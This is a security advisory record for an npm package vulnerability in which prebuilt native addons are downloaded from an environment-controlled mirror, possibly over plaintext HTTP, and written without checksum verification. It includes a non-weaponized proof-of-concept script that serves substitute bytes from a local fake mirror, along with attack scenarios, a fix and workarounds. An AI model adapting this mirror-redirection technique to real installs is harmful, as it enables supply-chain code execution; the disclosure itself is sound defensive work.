{"id":"CVE-2026-73864","aliases":["GHSA-88q3-gch3-5396"],"url":"https://o3.security/vulnerability/CVE-2026-73864","summary":"install-artifact-from-github loads downloaded native artifacts without integrity verification","details":"## Description\n\n`bin/install-from-cache.js` downloads a prebuilt native addon (`*.node`) over the network and writes it directly to the artifact path **with no cryptographic integrity verification of any kind** — no checksum manifest, no signature, no SRI. A scan of the whole package for `createHash|sha256|checksum|integrity|digest|signature` finds nothing. The file is then `require()`-loaded by the consumer, which executes the addon's native module-init code. Anyone able to influence the download achieves code execution on the installing machine.\n\n### Affected code (v1.6.0)\n\n- **Mirror is fully attacker-steerable via an env var, no host pinning** — `bin/install-from-cache.js:80`:\n  ```js\n  let assetUrl = mirrorHost || process.env[mirrorEnvVar] || 'https://github.com';\n  ```\n  `re2` passes `--host-var RE2_DOWNLOAD_MIRROR`, so setting `RE2_DOWNLOAD_MIRROR` (CI config, `.npmrc`/env passthrough, a compromised CI job, a poisoned shell profile) redirects 100% of the download to an arbitrary host with zero pinning.\n\n- **The write sink is a bare `writeFile`, no verification** — `bin/install-from-cache.js:185-187`:\n  ```js\n  const write = async (name, data) => {\n    await fsp.mkdir(path.dirname(name), {recursive: true});\n    await fsp.writeFile(name, data);   // `data` is the raw HTTP response body\n  };\n  ```\n\n- **Cleartext transfer + silent protocol downgrade on redirect** — `bin/install-from-cache.js:155,165`:\n  ```js\n  const httpLib = isHttps.test(url) ? https : isHttp.test(url) ? http : null;   // http:// supported\n  ...\n  get(res.headers.location).then(resolve, reject);   // re-derives protocol from the NEW url\n  ```\n  An `https://` asset that 302-redirects to `http://` is followed and fetched over plaintext, no warning, no scheme pinning, no redirect cap.\n\n### The post-download \"verification\" is not an integrity gate\n\n`isVerified()` optionally runs `npm run verify-build` / `npm test` *after* writing the file. For `re2`, `scripts/verify-build.js` `require()`s the binary as its first line — i.e. the downloaded addon's native code has **already executed** by the time any check runs. It is a functional smoke test, not an integrity gate, and it is skipped entirely when any `npm_config_platform*` env var is set (`:120-122`).\n\n## Proof of concept\n\nA self-contained, **non-malicious** PoC (`poc.js`) proves the missing-integrity property against the real `install-from-cache`, without shipping a weaponized binary: it stands up a plaintext-HTTP \"mirror\" serving a sentinel payload, runs `install-from-cache` with `RE2_DOWNLOAD_MIRROR` pointed at it, and shows the served bytes are written **verbatim** to `build/Release/re2.node`:\n\n```\nnpm i install-artifact-from-github\nIAFG_BIN=./node_modules/install-artifact-from-github/bin/install-from-cache.js node poc.js\n```\n```\nattacker mirror (plaintext http) on 127.0.0.1:PORT\n  [mirror] served 2083 attacker bytes over HTTP for /uhop/node-re2/releases/download/1.24.1/darwin-arm64-137\nWriting to build/Release/re2.node ... Done.\ninstall-from-cache exit: 0\nserved   sha256: ec6fdde6...4ebc\nwritten  sha256: ec6fdde6...4ebc\n✓ attacker bytes written VERBATIM to build/Release/re2.node — NO integrity check rejected them\n```\n\nThe install **succeeds (exit 0)** with attacker-controlled bytes at the artifact path. Because a real `.node` executes on `require()` (NAPI/`NODE_MODULE` init), substituting a malicious one yields code execution in the installing/running process. (A full code-execution harness using a benign marker-writing native addon was verified separately and is available on request; withheld here to avoid shipping executable payloads.)\n\n## Attack scenarios (any one suffices)\n- Attacker-configured or later-compromised `RE2_DOWNLOAD_MIRROR`.\n- Tampered GitHub release / compromised maintainer account — no checksum detects a swapped asset, even over HTTPS.\n- On-path attacker where a plaintext (`http://`) mirror or an `https→http` redirect is in play.\n\n## Suggested fix\n1. Publish per-release `SHASUMS256.txt` (or embed expected digests) and verify the download's SHA-256 **before** writing/loading; refuse on mismatch. (This is the model `prebuild-install` already uses.)\n2. Reject `http://` asset URLs and `https→http` redirect downgrades; pin scheme across redirects; cap redirect count/hosts.\n3. Document that `verify-build`/`test` run *after* load and cannot gate integrity.\n\n## PoC\n**poc.js:**\n\n```js\n// PoC — install-artifact-from-github writes a network-downloaded artifact to disk with NO\n// integrity verification, from an env-controlled mirror, over plaintext HTTP.\n//\n// This proves the CORE defect (arbitrary attacker-supplied bytes become build/Release/re2.node\n// with zero checksum/signature check) WITHOUT shipping a weaponized native binary: we serve a\n// sentinel payload and show byte-for-byte (sha256) that it is written verbatim as the artifact.\n// Because a .node artifact is dlopen()'d on require (running its module-init native code), an\n// attacker who substitutes it — via a compromised/attacker-set RE2_DOWNLOAD_MIRROR, a tampered\n// GitHub release, or an on-path MITM on the plaintext path — achieves code execution.\n//\n// Run:  IAFG_BIN=/path/to/install-artifact-from-github/bin/install-from-cache.js node poc.js\n//       (defaults to require.resolve if install-artifact-from-github is installed nearby)\nconst http = require('http');\nconst fs = require('fs');\nconst os = require('os');\nconst path = require('path');\nconst crypto = require('crypto');\nconst { spawn } = require('child_process');\n\nconst IAFG = process.env.IAFG_BIN || require.resolve('install-artifact-from-github/bin/install-from-cache.js');\nconst SENTINEL = Buffer.from('ATTACKER-CONTROLLED-ARTIFACT-BYTES-' + 'A'.repeat(2048)); // stand-in for a malicious .node\nconst servedSha = crypto.createHash('sha256').update(SENTINEL).digest('hex');\n\nconst work = fs.mkdtempSync(path.join(os.tmpdir(), 'iafg-poc-'));\nfs.writeFileSync(path.join(work, 'package.json'), JSON.stringify({\n  name: 're2', version: '1.24.1', repository: { type: 'git', url: 'https://github.com/uhop/node-re2.git' },\n  scripts: { 'verify-build': 'node -e \"process.exit(0)\"' } // trivial pass; the WRITE happened before this\n}));\n\nconst server = http.createServer((req, res) => {\n  process.stdout.write(`  [mirror] served ${SENTINEL.length} attacker bytes over HTTP for ${req.url}\\n`);\n  res.writeHead(200, { 'content-type': 'application/octet-stream' });\n  res.end(SENTINEL);\n});\n\nserver.listen(0, '127.0.0.1', () => {\n  const port = server.address().port;\n  console.log(`attacker mirror (plaintext http) on 127.0.0.1:${port}`);\n  const child = spawn('node', [IAFG,\n    '--artifact', 'build/Release/re2.node',\n    '--host-var', 'RE2_DOWNLOAD_MIRROR',\n    '--skip-path-var', 'RE2_DOWNLOAD_SKIP_PATH',\n    '--skip-ver-var', 'RE2_DOWNLOAD_SKIP_VER'], {\n    cwd: work, stdio: ['ignore', 'inherit', 'ignore'],\n    env: { ...process.env, RE2_DOWNLOAD_MIRROR: `http://127.0.0.1:${port}`,\n      npm_package_version: '1.24.1', npm_package_github: 'https://github.com/uhop/node-re2',\n      npm_package_scripts_verify_build: 'node -e \"process.exit(0)\"' }\n  });\n  child.on('exit', (code) => {\n    server.close();\n    console.log('install-from-cache exit:', code);\n    const artifact = path.join(work, 'build/Release/re2.node');\n    if (fs.existsSync(artifact)) {\n      const writtenSha = crypto.createHash('sha256').update(fs.readFileSync(artifact)).digest('hex');\n      console.log('served   sha256:', servedSha);\n      console.log('written  sha256:', writtenSha);\n      console.log(servedSha === writtenSha\n        ? '✓ attacker bytes written VERBATIM to build/Release/re2.node — NO integrity check rejected them (served over plaintext HTTP from an env-controlled mirror). A real .node here would execute on require().'\n        : '✗ sha mismatch');\n    } else {\n      console.log('✗ artifact not written (check IAFG_BIN path)');\n    }\n    fs.rmSync(work, { recursive: true, force: true });\n  });\n});\n```\n\n## Patches\n\nFixed in **1.7.0** via hash-bag verification. The consuming package publishes an `artifactHashes` map (`slot → sha256:<hex>` of the decompressed binary) in its *own* `package.json` — immutable once on npm, stamped at publish time by the new `hash-github-cache --write` bin (e.g. wired as `prepublishOnly`). `install-from-cache` now verifies the decompressed download **before writing it to disk**; a hash mismatch or a missing slot rejects the download and falls back to building from source. Verification is scoped to the default `github.com` source — an explicitly configured mirror (`--host` / mirror env var) remains trust-the-mirror by design. Because the bytes are checked against the published bag, an on-path attacker or an `https→http` transport downgrade on the default path is also defeated by content verification.\n\nNote: verification activates only when the consuming package ships an `artifactHashes` bag; packages without one behave as before (backward-compatible, zero-config default). `node-re2 >= 1.26.0` publishes a stamped bag.\n\n## Workarounds\n\nOn `<= 1.6.0`: skip downloading entirely and build from source via the documented dev short-circuit (`DEVELOPMENT_SKIP_GETTING_ASSET` env var, or a `.development` file). 1.7.0 adds first-class `--force-build` / `DOWNLOAD_FORCE_BUILD` for the same effect. In all versions, never point a mirror variable (e.g. `RE2_DOWNLOAD_MIRROR`) at a host you do not fully control.","published":"2026-11-18T18:57:19.657Z","modified":"2026-11-19T21:01:26.680239387Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H"},"epss":{"score":0.00199,"percentile":0.0983,"asOf":"2026-11-19"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"install-artifact-from-github","fixedVersion":"1.7.0"}],"fix":{"url":"https://github.com/uhop/install-artifact-from-github/commit/1d2d8637556a03f6235e50fe0c238c6dce291633","label":"uhop/install-artifact-from-github@1d2d863"},"references":[{"type":"WEB","url":"https://github.com/uhop/install-artifact-from-github/releases/tag/1.7.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/73xxx/CVE-2026-73864.json"},{"type":"ADVISORY","url":"https://github.com/uhop/install-artifact-from-github/security/advisories/GHSA-88q3-gch3-5396"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73864"},{"type":"FIX","url":"https://github.com/uhop/install-artifact-from-github/commit/1d2d8637556a03f6235e50fe0c238c6dce291633"},{"type":"PACKAGE","url":"https://github.com/uhop/install-artifact-from-github"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-11-19T21:01:26.680239387Z"}}